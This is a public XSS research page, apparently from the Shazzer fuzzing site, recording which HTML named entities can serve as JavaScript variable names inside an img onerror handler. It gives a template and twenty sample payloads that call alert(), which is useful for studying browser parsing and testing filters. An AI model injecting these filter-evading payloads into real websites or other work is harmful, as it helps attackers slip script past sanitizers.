Entities allowed as JS variables

This vector shows which entities are allowed as JS variables.

Shazzer Elite

Created Jul 2, 2024

Updated May 27, 2025

Detecting browser...

CategoryEntity Parsing

VisibilityPublic

TypeXSS

CharsetUTF-8

$[data1] placeholderhtml_entities

Template used:

<img src=data: onerror="$[data1]=log;$[data1]('html($[data1])')">

Sample payloads

<img src=data: onerror="&gcy;=alert;&gcy;('&#38;gcy;')">

<img src=data: onerror="&thetasym;=alert;&thetasym;('&#38;thetasym;')">

<img src=data: onerror="&caron;=alert;&caron;('&#38;caron;')">

<img src=data: onerror="&DZcy;=alert;&DZcy;('&#38;DZcy;')">

<img src=data: onerror="&yopf;=alert;&yopf;('&#38;yopf;')">

<img src=data: onerror="&rscr;=alert;&rscr;('&#38;rscr;')">

<img src=data: onerror="&Ecaron;=alert;&Ecaron;('&#38;Ecaron;')">

<img src=data: onerror="&ffllig;=alert;&ffllig;('&#38;ffllig;')">

<img src=data: onerror="&Fopf;=alert;&Fopf;('&#38;Fopf;')">

<img src=data: onerror="&Rfr;=alert;&Rfr;('&#38;Rfr;')">

<img src=data: onerror="&ordf;=alert;&ordf;('&#38;ordf;')">

<img src=data: onerror="&itilde;=alert;&itilde;('&#38;itilde;')">

<img src=data: onerror="&IJlig;=alert;&IJlig;('&#38;IJlig;')">

<img src=data: onerror="&yacy;=alert;&yacy;('&#38;yacy;')">

<img src=data: onerror="&Odblac;=alert;&Odblac;('&#38;Odblac;')">

<img src=data: onerror="&ucy;=alert;&ucy;('&#38;ucy;')">

<img src=data: onerror="&Topf;=alert;&Topf;('&#38;Topf;')">

<img src=data: onerror="&Bernoullis;=alert;&Bernoullis;('&#38;Bernoullis;')">

<img src=data: onerror="&upsih;=alert;&upsih;('&#38;upsih;')">

<img src=data: onerror="&UnderBar;=alert;&UnderBar;('&#38;UnderBar;')">